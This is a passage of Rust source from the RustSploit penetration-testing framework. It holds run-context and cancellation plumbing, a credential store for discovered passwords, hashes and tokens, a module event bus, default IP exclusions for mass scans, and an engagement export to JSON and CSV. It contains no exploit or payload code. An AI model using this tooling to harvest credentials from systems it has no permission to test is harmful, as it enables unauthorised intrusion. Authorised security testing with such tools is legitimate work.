}
/// Live per-target progress for a running scan, shared from the scheduler back
/// to the job manager. All counters are monotonic for the lifetime of one run.
#[derive(Default)]
pub struct ScanCounters {
pub total: AtomicU64,
pub succeeded: AtomicU64,
pub failed: AtomicU64,
}
/// The active scan counters, if a job scoped them. `None` for foreground runs.
pub fn scan_counters() -> Option<Arc<ScanCounters>> {
SCAN_COUNTERS.try_with(|c| c.clone()).ok()
}
/// Per-run context carrying module config, target, and structured output accumulator.
pub struct RunContext {
/// Module configuration for this run (prompts, api_mode, etc.)
pub config: ModuleConfig,
/// Per-request target override (API mode). Shell mode leaves this None.
pub target: Option<String>,
/// Shared prompt cache for concurrent dispatch modes.
/// When set, `cfg_prompt_*` functions check this cache before prompting stdin.
pub prompt_cache: Option<PromptCache>,
/// Cooperative cancellation signal for this run. `Job::kill` triggers
/// `.cancel()` on this token; modules can check `crate::context::is_cancelled()`
/// in their loops to terminate gracefully. Default is an unfired token, so
/// modules that don't check it behave exactly as before.
pub cancel: tokio_util::sync::CancellationToken,
/// Tenant identity for multi-tenant isolation. Set from the PQ session's
/// `client_name` in API mode; `None` in shell mode (falls back to "local").
pub tenant_id: Option<String>,
/// `category/name` path of the module being run. Set by the scheduler
/// before invoking the module so `events::emit` and finding helpers
/// can attribute output to the right module without each module
/// passing the path manually. Empty when called outside a scheduled
/// run (e.g. utility code invoked from the shell).
pub module_path: String,
/// Tracked task spawns. Modules call `crate::context::spawn(...)` to
/// register a `tokio::spawn`; the scheduler aborts every handle here
/// in `Module::cleanup` so cancelled runs don't leak orphan tasks.
pub spawned: tokio::sync::Mutex<tokio::task::JoinSet<()>>,
}
impl RunContext {
/// Create a new run context with config and target.
pub fn with_target(config: ModuleConfig, target: String) -> Self {
Self {
config,
target: Some(target),
prompt_cache: None,
cancel: tokio_util::sync::CancellationToken::new(),
tenant_id: None,
module_path: String::new(),
spawned: tokio::sync::Mutex::new(tokio::task::JoinSet::new()),
}
}
/// Create a run context with a shared prompt cache (for mass scan / CIDR modes).
/// All concurrent tasks share the same cache so prompts are answered only once.
pub fn with_prompt_cache(config: ModuleConfig, cache: PromptCache, target: String) -> Self {
Self {
config,
target: Some(target),
prompt_cache: Some(cache),
cancel: tokio_util::sync::CancellationToken::new(),
tenant_id: None,
module_path: String::new(),
spawned: tokio::sync::Mutex::new(tokio::task::JoinSet::new()),
}
}
/// Attach an externally-managed cancellation token (e.g. one owned by
/// `JobManager` so `kill` can trigger it).
pub fn with_cancellation(mut self, token: tokio_util::sync::CancellationToken) -> Self {
self.cancel = token;
self
}
/// Attach the module path so finding-emission helpers can attribute
/// output to the right module.
pub fn with_module_path(mut self, module_path: String) -> Self {
self.module_path = module_path;
self
}
}
// ============================================================
// COOPERATIVE CANCELLATION HELPERS
// ============================================================
/// Returns `true` if the current run has been cancelled.
///
/// Module loops that want to be interruptible should call this each iteration:
///
/// ```ignore
/// for target in targets {
/// if crate::context::is_cancelled() { break; }
/// ...
/// }
/// ```
///
/// Returns `false` if called outside of a `RUN_CONTEXT` scope (e.g. in tests
/// or top-level CLI code), so it's always safe to call.
pub fn is_cancelled() -> bool {
RUN_CONTEXT.try_with(|ctx| ctx.cancel.is_cancelled()).unwrap_or(false)
}
/// Returns a clone of the current run's cancellation token, suitable for
/// passing to `tokio::select!` or `child.cancelled().await`.
///
/// Returns `None` if called outside of a `RUN_CONTEXT` scope.
pub fn cancellation_token() -> Option<tokio_util::sync::CancellationToken> {
RUN_CONTEXT.try_with(|ctx| ctx.cancel.clone()).ok()
}
/// Returns the tenant_id for the current run, or `None` if not in a
/// tenant-scoped context (shell mode / no RunContext).
pub fn current_tenant_id() -> Option<String> {
RUN_CONTEXT.try_with(|ctx| ctx.tenant_id.clone()).ok().flatten()
}
/// Returns the `category/name` path of the module currently running in
/// this task. Empty when called outside a `RUN_CONTEXT` scope.
pub fn current_module_path() -> String {
RUN_CONTEXT
.try_with(|ctx| ctx.module_path.clone())
.unwrap_or_default()
}
/// Spawn a tracked tokio task that will be aborted when the current run
/// finishes (via `Module::cleanup` or cancellation). Falls back to a
/// plain `tokio::spawn` if called outside a `RUN_CONTEXT` scope.
pub fn spawn<F>(future: F)
where
F: std::future::Future<Output = ()> + Send + 'static,
{
let attached = RUN_CONTEXT
.try_with(|ctx| ctx.clone())
.ok();
if let Some(ctx) = attached {
// Acquire the lock synchronously via `try_lock` first to avoid a
// race where `abort_all_spawned` fires before the deferred
// `tokio::spawn` acquires the lock. If contention prevents
// `try_lock`, fall back to a spawned acquire — the worst that
// happens is the future misses an `abort_all` that fires in the
// narrow window (same as the old code).
if let Ok(mut joinset) = ctx.spawned.try_lock() {
joinset.spawn(future);
} else {
let ctx = ctx.clone();
tokio::spawn(async move {
let mut joinset = ctx.spawned.lock().await;
joinset.spawn(future);
});
}
} else {
tokio::spawn(future);
}
}
/// Abort every tracked spawn registered during the current run. Called by
/// the scheduler in `Module::cleanup` and on cancellation paths.
pub async fn abort_all_spawned() {
if let Ok(ctx) = RUN_CONTEXT.try_with(|ctx| ctx.clone()) {
let mut joinset = ctx.spawned.lock().await;
joinset.abort_all();
// Drain — abort_all only marks; we want to await so handles drop
// before we return.
while joinset.join_next().await.is_some() {}
}
}
// ============================================================
// HELPER: Run a future within a RunContext scope
// ============================================================
/// Execute an async closure inside a task-local `RUN_CONTEXT` with a target.
/// Returns the closure's result plus the `RunContext`.
/// Automatically inherits the tenant identity from `CURRENT_TENANT` if set.
pub async fn run_with_context_target<F, Fut, T>(config: crate::config::ModuleConfig, target: String, f: F) -> (T, std::sync::Arc<RunContext>)
where
F: FnOnce() -> Fut,
Fut: std::future::Future<Output = T>,
{
let mut rc = RunContext::with_target(config, target);
if let Ok(tid) = crate::tenant::CURRENT_TENANT.try_with(|t| t.clone()) {
rc.tenant_id = Some(tid);
}
let ctx = std::sync::Arc::new(rc);
let ctx_clone = ctx.clone();
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
(result, ctx)
}
/// Same as `run_with_context_target`, but threads an externally-managed
/// `CancellationToken` into the `RunContext`. Used by the job manager so that
/// `Job::kill` can signal cooperative cancellation to module code via
/// `crate::context::is_cancelled()`.
pub async fn run_with_context_target_and_cancel<F, Fut, T>(
config: crate::config::ModuleConfig,
target: String,
cancel: tokio_util::sync::CancellationToken,
f: F,
) -> (T, std::sync::Arc<RunContext>)
where
F: FnOnce() -> Fut,
Fut: std::future::Future<Output = T>,
{
let mut rc = RunContext::with_target(config, target).with_cancellation(cancel);
if let Ok(tid) = crate::tenant::CURRENT_TENANT.try_with(|t| t.clone()) {
rc.tenant_id = Some(tid);
}
let ctx = std::sync::Arc::new(rc);
let ctx_clone = ctx.clone();
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
(result, ctx)
}
+342
View File
@@ -0,0 +1,342 @@
use std::path::PathBuf;
use colored::*;
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use tokio::sync::RwLock;
/// Type of credential stored.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum CredType {
Password,
Hash,
Key,
Token,
}
impl std::fmt::Display for CredType {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
CredType::Password => write!(f, "password"),
CredType::Hash => write!(f, "hash"),
CredType::Key => write!(f, "key"),
CredType::Token => write!(f, "token"),
}
}
}
/// A single credential entry.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct CredEntry {
pub id: String,
pub host: String,
pub port: u16,
pub service: String,
pub username: String,
pub secret: String,
pub cred_type: CredType,
pub source_module: String,
pub timestamp: String,
pub valid: bool,
}
/// Parameters for adding a new credential.
pub struct NewCred<'a> {
pub host: &'a str,
pub port: u16,
pub service: &'a str,
pub username: &'a str,
pub secret: &'a str,
pub cred_type: CredType,
pub source_module: &'a str,
}
/// Credential store backed by a JSON file.
pub struct CredStore {
entries: RwLock<Vec<CredEntry>>,
file_path: PathBuf,
}
impl CredStore {
fn new() -> Self {
let base = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit");
Self::with_base_dir(base)
}
/// Create a credential store under a custom base directory.
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
let file_path = base.join("creds.json");
// Synchronous load at init time
let entries = if file_path.exists() {
match std::fs::read_to_string(&file_path) {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
let backup = file_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&file_path, &backup) {
eprintln!("[!] Failed to backup corrupted creds.json: {}", e);
}
Vec::new()
}
},
Err(e) => {
// Read errors here are typically EACCES/EIO — back up the
// unreadable file so we don't silently overwrite a user's
// creds with an empty store.
eprintln!("[!] Failed to read creds.json: {}. Preserving original.", e);
let backup = file_path.with_extension("json.unreadable");
if let Err(e) = std::fs::rename(&file_path, &backup) {
eprintln!("[!] Rename failed: {}", e);
}
Vec::new()
}
}
} else {
Vec::new()
};
Self {
entries: RwLock::new(entries),
file_path,
}
}
/// Maximum length for credential fields to prevent memory abuse.
const MAX_FIELD_LEN: usize = 4096;
/// Runaway-entry cap (mirrors loot's `MAX_LOOT_ENTRIES`) so a buggy loop
/// can't grow the store unbounded.
const MAX_CRED_ENTRIES: usize = 100_000;
/// Add a credential. Returns `Some(id)` on success, `None` on validation failure.
pub async fn add(&self, cred: NewCred<'_>) -> Option<String> {
// Input validation. Bound EVERY free-text field, not just host/secret/
// username — `service` and `source_module` can carry attacker-influenced
// banner text, and leaving them unbounded defeats the memory-abuse guard
// this cap is here to provide.
if cred.host.is_empty() || cred.host.len() > Self::MAX_FIELD_LEN {
return None;
}
if cred.secret.len() > Self::MAX_FIELD_LEN
|| cred.username.len() > Self::MAX_FIELD_LEN
|| cred.service.len() > Self::MAX_FIELD_LEN
|| cred.source_module.len() > Self::MAX_FIELD_LEN
{
return None;
}
// Scrub control/ANSI bytes from host + non-secret metadata before
// storage so a credential captured from a hostile banner can't inject
// terminal escapes on `creds list` / CSV export — matching loot and the
// workspace. `username`/`secret` are kept verbatim so the stored
// credential stays an exact match for the real one.
let host = crate::utils::scrub_stored_text(cred.host);
let service = crate::utils::scrub_stored_text(cred.service);
let source_module = crate::utils::scrub_stored_text(cred.source_module);
let username = cred.username.to_string();
let secret = cred.secret.to_string();
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
// P1-1: hold the write lock across the disk save. Previous code
// released the lock before calling `save_locked`, letting two
// concurrent writers land disk writes in the wrong order — disk
// and in-memory state could diverge after restart.
{
let mut entries = self.entries.write().await;
// Dedup: re-running a brute against the same target shouldn't append
// an identical row each time. If the exact same credential tuple
// already exists, refresh its timestamp + valid flag and return its
// id instead of pushing a duplicate.
if let Some(existing) = entries.iter_mut().find(|e| {
e.host == host
&& e.port == cred.port
&& e.service == service
&& e.username == username
&& e.secret == secret
}) {
existing.timestamp = now;
existing.valid = true;
let id = existing.id.clone();
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
return Some(id);
}
// Runaway-entry cap, re-checked under the write lock.
if entries.len() >= Self::MAX_CRED_ENTRIES {
eprintln!(
"[!] Credential store full ({} entries) — clear creds before adding more",
Self::MAX_CRED_ENTRIES
);
return None;
}
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
entries.push(CredEntry {
id: id.clone(),
host,
port: cred.port,
service,
username,
secret,
cred_type: cred.cred_type,
source_module,
timestamp: now,
valid: true,
});
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
Some(id)
}
}
/// List all credentials.
pub async fn list(&self) -> Vec<CredEntry> {
self.entries.read().await.clone()
}
/// Search credentials by host.
pub async fn search(&self, query: &str) -> Vec<CredEntry> {
let q = query.to_lowercase();
self.list().await.into_iter().filter(|e| {
e.host.to_lowercase().contains(&q)
|| e.service.to_lowercase().contains(&q)
|| e.username.to_lowercase().contains(&q)
}).collect()
}
/// Delete a credential by ID.
pub async fn delete(&self, id: &str) -> bool {
// P1-1: same lock-during-save fix as `add()`. Holding the write
// lock through the disk write keeps in-memory and on-disk state in
// agreement under concurrent ops.
let mut entries = self.entries.write().await;
let before = entries.len();
entries.retain(|e| e.id != id);
if entries.len() < before {
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
return true;
}
false
}
/// Mark a credential valid/invalid by id (e.g. after a re-test shows the
/// password was rotated). Returns true if the id was found. This is what
/// makes the valid/invalid column shown by `display`/CSV actually settable.
pub async fn set_valid(&self, id: &str, valid: bool) -> bool {
let mut entries = self.entries.write().await;
if let Some(e) = entries.iter_mut().find(|e| e.id == id) {
e.valid = valid;
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
true
} else {
false
}
}
/// Clear all credentials.
pub async fn clear(&self) {
let mut entries = self.entries.write().await;
entries.clear();
self.save_locked(&entries).await;
}
async fn save_locked(&self, entries: &[CredEntry]) {
if let Some(parent) = self.file_path.parent()
&& let Err(e) = tokio::fs::create_dir_all(parent).await {
eprintln!("[!] Failed to create creds directory: {}", e);
return;
}
let tmp = self.file_path.with_extension("json.tmp");
let json = match serde_json::to_string_pretty(entries) {
Ok(j) => j,
Err(e) => {
eprintln!("[!] Failed to serialize credentials: {}", e);
return;
}
};
{
// P1-7: O_NOFOLLOW + create-with-mode atomically. A symlink raced
// into place between create and open would otherwise redirect the
// write to a privileged path with the credentials' contents.
let mut opts = tokio::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true).mode(0o600);
#[cfg(unix)]
{
opts.custom_flags(libc::O_NOFOLLOW);
}
let file = match opts.open(&tmp).await {
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to write temp creds file: {}", e);
return;
}
};
let mut file = file;
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
eprintln!("[!] Failed to write temp creds file: {}", e);
return;
}
if let Err(e) = file.sync_all().await {
eprintln!("[!] Failed to fsync temp creds file: {}", e);
return;
}
}
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
eprintln!("[!] Failed to rename creds file: {}", e);
}
}
/// Display all credentials in a formatted table.
pub async fn display(&self) {
let entries = self.list().await;
if entries.is_empty() {
println!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
return;
}
println!();
println!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
println!();
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
"ID".bold(), "Host".bold(), "Port".bold(), "Service".bold(),
"Username".bold(), "Secret".bold(), "Type".bold(), "Valid".bold());
println!(" {}", "-".repeat(100).dimmed());
for e in &entries {
let valid_str = if e.valid { "yes".green() } else { "no".red() };
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
e.id, e.host, e.port, e.service, e.username,
if e.secret.chars().count() > 18 { format!("{}...", e.secret.chars().take(15).collect::<String>()) } else { e.secret.clone() },
e.cred_type, valid_str);
}
println!();
}
/// Display search results.
pub fn display_results(&self, results: &[CredEntry]) {
if results.is_empty() {
println!("{}", "No matching credentials found.".dimmed());
return;
}
println!();
println!("{}", format!("Found {} credential(s):", results.len()).bold());
println!();
for e in results {
println!(" [{}] {}@{}:{} ({}) - {} [{}]",
e.id.yellow(), e.username.green(), e.host, e.port,
e.service, e.cred_type,
if e.valid { "valid".green() } else { "invalid".red() });
}
println!();
}
}
pub static CRED_STORE: Lazy<CredStore> = Lazy::new(CredStore::new);
/// Convenience function for modules to store a discovered credential.
/// Routes through the tenant registry when in a tenant context (API mode).
pub async fn store_credential(cred: NewCred<'_>) -> Option<String> {
let s = crate::tenant::resolve();
s.cred_store().add(cred).await
}
+170
View File
@@ -0,0 +1,170 @@
// src/events.rs
//
// Structured module-event broadcast channel.
//
// This is a parallel surface to the human-facing `mprintln!` text macros:
// modules emit machine-readable findings here, and the API / MCP / WebSocket
// layers subscribe to consume them. The text macros stay — humans still read
// stdout / spool — but consumers that want to know "did a credential get
// found" no longer need to grep stdout.
//
// ## Versioning discipline
//
// `ModuleEvent` is `#[non_exhaustive]`. Adding a new variant is **not** a
// breaking change for downstream consumers, because the compiler forces
// every `match` to include a `_` arm. New variants will be added over time
// without bumping the API version.
//
// New variants must be additive — never re-purpose, rename, or change the
// shape of an existing variant. If a variant turns out to be wrong, deprecate
// it and add a new one alongside; remove the old one only across a major
// version boundary.
//
// ## Adoption is voluntary
//
// Modules that don't call `emit(...)` produce no events. Subscribers that
// don't `subscribe()` are unaffected. The channel is designed so that v1
// callers can opt in incrementally without coordinated rollout.
use serde::Serialize;
use tokio::sync::broadcast;
/// Per-process broadcast channel capacity. When the channel is full, the
/// oldest events are dropped (broadcast semantics) — subscribers see a
/// `RecvError::Lagged(N)` they must handle. 1024 is enough for bursty
/// workloads (mass scans) without unbounded memory.
const CHANNEL_CAPACITY: usize = 1024;
/// A structured event emitted by a module to describe a finding or progress
/// signal.
///
/// **Stability**: this enum is `#[non_exhaustive]`. New variants will be
/// added; consumers MUST include a `_` arm in every `match`.
///
/// **v1 surface (committed)**:
/// - `ModuleStarted` — a module is beginning execution against a target.
/// - `ModuleFinished` — a module has finished, with a success/failure flag.
/// - `HostUp` — discovered host is responsive.
/// - `ServiceDetected` — a host:port is running an identified service.
/// - `CredentialFound` — valid credential was confirmed on a service.
/// - `LootStored` — module saved an artefact to the loot store.
#[non_exhaustive]
#[derive(Debug, Clone, Serialize)]
#[serde(tag = "type", rename_all = "snake_case")]
pub enum ModuleEvent {
ModuleStarted {
module: String,
target: String,
},
ModuleFinished {
module: String,
target: String,
success: bool,
},
HostUp {
host: String,
},
ServiceDetected {
host: String,
port: u16,
service: String,
version: Option<String>,
},
CredentialFound {
host: String,
port: u16,
service: String,
username: String,
},
LootStored {
id: String,
host: String,
kind: String,
},
/// PQ handshake was accepted; a new session is now live for `client_name`.
/// Emitted by `pq_middleware::handshake_handler` on success.
PqHandshakeAccepted {
client_name: String,
},
/// PQ handshake was rejected. `reason` is a short, non-secret summary;
/// `peer` is the remote socket address as a string (no resolution).
PqHandshakeRejected {
reason: String,
peer: String,
},
/// An authorized key was revoked. `sessions_terminated` is the number of
/// in-memory sessions torn down as a side effect.
PqIdentityRevoked {
name: String,
by: String,
sessions_terminated: usize,
},
/// A session was evicted from the in-memory store, either because the
/// per-process cap was hit or as part of an explicit revocation.
PqSessionEvicted {
client_name: String,
},
/// Generic structured finding emitted by a module run. Used by the
/// unified scheduler to surface results without losing them in stdout.
Finding {
module: String,
target: String,
kind: String,
message: String,
},
}
/// Envelope that carries a module event along with the tenant that produced it.
/// Subscribers filter on `tenant_id` to enforce cross-tenant isolation.
#[derive(Debug, Clone, Serialize)]
pub struct TenantEvent {
pub tenant_id: Option<String>,
pub event: ModuleEvent,
}
/// Singleton event bus. One per process, lazily initialised.
static EVENT_BUS: std::sync::OnceLock<broadcast::Sender<TenantEvent>> =
std::sync::OnceLock::new();
fn bus() -> &'static broadcast::Sender<TenantEvent> {
EVENT_BUS.get_or_init(|| broadcast::channel(CHANNEL_CAPACITY).0)
}
/// Subscribe to the module-event stream.
///
/// Returns a `broadcast::Receiver<TenantEvent>`. Subscribers MUST filter
/// on `tenant_id` to prevent cross-tenant data leakage.
pub fn subscribe() -> broadcast::Receiver<TenantEvent> {
bus().subscribe()
}
/// Emit a structured event. Automatically tags with the current tenant
/// context (from `CURRENT_TENANT` task-local or `RunContext::tenant_id`).
pub fn emit(event: ModuleEvent) {
let tenant_id = crate::context::current_tenant_id()
.or_else(|| {
crate::tenant::CURRENT_TENANT
.try_with(|t| t.clone())
.ok()
});
if let Err(e) = bus().send(TenantEvent { tenant_id, event }) {
tracing::trace!("Event bus: no active subscribers ({})", e);
}
}
/// Emit a structured event tagged with an explicit tenant. For events produced
/// *outside* any `CURRENT_TENANT`/`RunContext` scope (e.g. the PQ handshake
/// lifecycle in the middleware), pass the owning client's name so the event is
/// routed to that tenant's subscribers only. `None` leaves it untagged, in
/// which case subscribers drop it per the tenant-filtering contract — so it is
/// never broadcast across tenants.
pub fn emit_for(tenant_id: Option<String>, event: ModuleEvent) {
if let Err(e) = bus().send(TenantEvent { tenant_id, event }) {
tracing::trace!("Event bus: no active subscribers ({})", e);
}
}
/// Subscriber count, useful for debug logging.
pub fn subscriber_count() -> usize {
bus().receiver_count()
}
+167
View File
@@ -0,0 +1,167 @@
// src/exclusions.rs
//
// Pluggable IP exclusion lists for mass-scan operations. Replaces the
// hard-coded `utils::bruteforce::EXCLUDED_RANGES` global.
//
// Layered resolution (later overrides earlier):
// 1. Built-in defaults (`DEFAULT_EXCLUSIONS`) — bogons, RFC1918, multicast.
// 2. Tenant config — `~/.rustsploit/<tenant>/exclusions.txt` or the
// `exclusions` global option (comma-separated CIDRs or `@/path/to/file`).
// 3. Per-scheduler-invocation override via `SchedulerLimits::exclusions`.
//
// Format: one CIDR or IP per line. `#` and `//` introduce comments. Empty
// lines ignored.
use std::path::PathBuf;
use std::sync::Arc;
use ipnetwork::IpNetwork;
/// Built-in exclusions: bogons, RFC1918, multicast, link-local. Operators
/// running internal-only scans can override via `setg exclusions internal`
/// to disable these (the literal string `internal` selects an empty list
/// for operators who want to scan their own infrastructure).
pub const DEFAULT_EXCLUSIONS: &[&str] = &[
// RFC1918 + reserved
"10.0.0.0/8",
"127.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"0.0.0.0/8",
"100.64.0.0/10",
"169.254.0.0/16",
"224.0.0.0/4",
"240.0.0.0/4",
"255.255.255.255/32",
// Cloudflare anycast
"1.0.0.1/32",
"1.1.1.1/32",
"103.21.244.0/22",
"103.22.200.0/22",
"103.31.4.0/22",
"104.16.0.0/13",
"104.24.0.0/14",
"108.162.192.0/18",
"131.0.72.0/22",
"141.101.64.0/18",
"162.158.0.0/15",
"172.64.0.0/13",
"173.245.48.0/20",
"188.114.96.0/20",
"190.93.240.0/20",
"197.234.240.0/22",
"198.41.128.0/17",
// Google public DNS
"8.8.8.8/32",
"8.8.4.4/32",
];
/// Resolved exclusion list for one scheduler invocation.
#[derive(Debug, Clone)]
pub struct ExclusionSet {
nets: Vec<IpNetwork>,
}
impl ExclusionSet {
/// Parse a slice of CIDR strings, warning on invalid entries.
pub fn from_strs<I, S>(strs: I) -> Self
where
I: IntoIterator<Item = S>,
S: AsRef<str>,
{
let nets = strs
.into_iter()
.filter_map(|s| {
match s.as_ref().parse::<IpNetwork>() {
Ok(net) => Some(net),
Err(e) => {
eprintln!("[!] Invalid exclusion entry '{}': {}", s.as_ref(), e);
None
}
}
})
.collect();
Self { nets }
}
/// The standard built-in default list.
pub fn defaults() -> Self {
Self::from_strs(DEFAULT_EXCLUSIONS.iter().copied())
}
/// Empty set — for "I really mean it, don't filter anything" operators.
pub fn empty() -> Self {
Self { nets: Vec::new() }
}
/// Resolve the active set: tenant config overlays the defaults.
/// `setg exclusions ""` → defaults
/// `setg exclusions internal` → empty (no filtering)
/// `setg exclusions a.b.c.d/8,..` → defaults + comma-separated CIDRs
/// `setg exclusions @/path/to/file`→ defaults + lines from file
pub fn from_global_options() -> Self {
let scope = crate::tenant::resolve();
let opts = scope.global_options();
let raw = opts.try_get("exclusions").unwrap_or_default();
let trimmed = raw.trim();
if trimmed.is_empty() {
return Self::defaults();
}
if trimmed.eq_ignore_ascii_case("internal") || trimmed.eq_ignore_ascii_case("none") {
return Self::empty();
}
let mut set = Self::defaults();
if let Some(path) = trimmed.strip_prefix('@') {
let path = path.trim();
match read_exclusion_file(PathBuf::from(path)) {
Ok(extra) => set.nets.extend(extra.nets),
// Fail LOUD: an operator who pointed at a file expects their
// custom exclusions applied. Silently falling back to defaults
// would scan ranges they meant to exclude.
Err(e) => tracing::warn!(
"exclusions: could not read '{}': {e}. Custom exclusions NOT applied — using defaults only.",
path
),
}
} else {
for s in trimmed.split(',').map(str::trim).filter(|s| !s.is_empty()) {
match s.parse::<IpNetwork>() {
Ok(net) => set.nets.push(net),
Err(e) => tracing::warn!("exclusions: ignoring invalid CIDR '{}': {e}", s),
}
}
}
set
}
pub fn contains(&self, ip: std::net::IpAddr) -> bool {
self.nets.iter().any(|n| n.contains(ip))
}
pub fn networks(&self) -> &[IpNetwork] {
&self.nets
}
pub fn len(&self) -> usize {
self.nets.len()
}
pub fn is_empty(&self) -> bool {
self.nets.is_empty()
}
}
fn read_exclusion_file(path: PathBuf) -> std::io::Result<ExclusionSet> {
let raw = std::fs::read_to_string(&path)?;
let lines = raw.lines().map(|l| {
let l = l.split('#').next().unwrap_or(l);
let l = l.split("//").next().unwrap_or(l);
l.trim().to_string()
});
Ok(ExclusionSet::from_strs(lines.filter(|s| !s.is_empty())))
}
/// Convenience: shared `Arc` of the resolved set for the active tenant.
pub fn shared() -> Arc<ExclusionSet> {
Arc::new(ExclusionSet::from_global_options())
}
+235
View File
@@ -0,0 +1,235 @@
use std::io::Write;
use anyhow::{Context, Result};
use colored::*;
use serde::Serialize;
/// Write data to a file, rejecting symlinks atomically with O_NOFOLLOW.
fn safe_write(path: &str, data: &[u8]) -> Result<()> {
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
// Owner-only (0o600): the export aggregates every credential secret in
// cleartext plus hosts/loot, so it must never be created world-readable
// — matching the cred/loot/workspace stores which all write 0o600.
let mut file = std::fs::OpenOptions::new()
.write(true)
.create(true)
.truncate(true)
.mode(0o600)
.custom_flags(libc::O_NOFOLLOW)
.open(path)
.context(format!("Failed to open '{}' (symlinks not allowed)", path))?;
file.write_all(data)
.context(format!("Failed to write to '{}'", path))?;
file.flush()?;
Ok(())
}
#[cfg(not(unix))]
{
std::fs::write(path, data).context(format!("Failed to write to '{}'", path))?;
Ok(())
}
}
/// Full engagement data for export.
#[derive(Serialize)]
struct EngagementExport {
workspace: String,
exported_at: String,
hosts: Vec<crate::workspace::HostEntry>,
services: Vec<crate::workspace::ServiceEntry>,
credentials: Vec<crate::cred_store::CredEntry>,
loot: Vec<crate::loot::LootEntry>,
}
/// Gather all engagement data atomically.
/// Workspace data is snapshotted in a single read to avoid mixing data
/// across concurrent workspace switches.
async fn gather_data() -> EngagementExport {
let s = crate::tenant::resolve();
let workspace_name = s.workspace().current_name().await;
let workspace_data = s.workspace().get_data().await;
EngagementExport {
workspace: workspace_name,
exported_at: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
hosts: workspace_data.hosts,
services: workspace_data.services,
credentials: s.cred_store().list().await,
loot: s.loot_store().list().await,
}
}
/// Return engagement data as a JSON string.
pub async fn export_json_string() -> Result<String> {
let data = gather_data().await;
serde_json::to_string_pretty(&data).context("Failed to serialize engagement data")
}
/// Export all engagement data to a JSON file.
pub async fn export_json(path: &str) -> Result<()> {
validate_export_path(path)?;
let json = export_json_string().await?;
safe_write(path, json.as_bytes())?;
crate::mprintln!("{}", format!("[+] Exported JSON to '{}'", path).green());
Ok(())
}
/// Return engagement data as a CSV string.
pub async fn export_csv_string() -> Result<String> {
let data = gather_data().await;
let mut output = String::new();
output.push_str("# Hosts\n");
output.push_str("ip,hostname,os_guess,first_seen,last_seen,notes_count\n");
for h in &data.hosts {
output.push_str(&format!("{},{},{},{},{},{}\n",
csv_escape(&h.ip),
csv_escape(h.hostname.as_deref().unwrap_or("")),
csv_escape(h.os_guess.as_deref().unwrap_or("")),
csv_escape(&h.first_seen),
csv_escape(&h.last_seen),
h.notes.len()));
}
output.push('\n');
output.push_str("# Services\n");
output.push_str("host,port,protocol,service,version\n");
for s in &data.services {
output.push_str(&format!("{},{},{},{},{}\n",
csv_escape(&s.host), s.port, csv_escape(&s.protocol),
csv_escape(&s.service_name), csv_escape(s.version.as_deref().unwrap_or(""))));
}
output.push('\n');
output.push_str("# Credentials\n");
output.push_str("id,host,port,service,username,secret,type,source,valid\n");
for c in &data.credentials {
output.push_str(&format!("{},{},{},{},{},{},{},{},{}\n",
csv_escape(&c.id), csv_escape(&c.host), c.port,
csv_escape(&c.service), csv_escape(&c.username),
csv_escape(&c.secret), c.cred_type,
csv_escape(&c.source_module), c.valid));
}
output.push('\n');
output.push_str("# Loot\n");
output.push_str("id,host,type,description,filename,source\n");
for l in &data.loot {
output.push_str(&format!("{},{},{},{},{},{}\n",
csv_escape(&l.id), csv_escape(&l.host), csv_escape(&l.loot_type),
csv_escape(&l.description), csv_escape(&l.filename),
csv_escape(&l.source_module)));
}
Ok(output)
}
/// Export engagement data to a CSV file.
pub async fn export_csv(path: &str) -> Result<()> {
validate_export_path(path)?;
let output = export_csv_string().await?;
safe_write(path, output.as_bytes())?;
crate::mprintln!("{}", format!("[+] Exported CSV to '{}'", path).green());
Ok(())
}
/// Return a human-readable summary report as a string.
pub async fn export_summary_string() -> Result<String> {
let data = gather_data().await;
let mut report = String::new();
report.push_str("============================================================\n");
report.push_str(" RustSploit Engagement Report\n");
report.push_str("============================================================\n\n");
report.push_str(&format!("Workspace: {}\n", data.workspace));
report.push_str(&format!("Generated: {}\n\n", data.exported_at));
report.push_str("--- Summary ---\n");
report.push_str(&format!("Hosts discovered: {}\n", data.hosts.len()));
report.push_str(&format!("Services found: {}\n", data.services.len()));
report.push_str(&format!("Credentials obtained: {}\n", data.credentials.len()));
report.push_str(&format!("Loot collected: {}\n\n", data.loot.len()));
if !data.hosts.is_empty() {
report.push_str("--- Hosts ---\n");
for h in &data.hosts {
report.push_str(&format!(" {} ({})\n", h.ip, h.hostname.as_deref().unwrap_or("unknown")));
if let Some(ref os) = h.os_guess { report.push_str(&format!(" OS: {}\n", os)); }
if !h.notes.is_empty() {
report.push_str(" Notes:\n");
for note in &h.notes { report.push_str(&format!(" - {}\n", note)); }
}
}
report.push('\n');
}
if !data.services.is_empty() {
report.push_str("--- Services ---\n");
for s in &data.services {
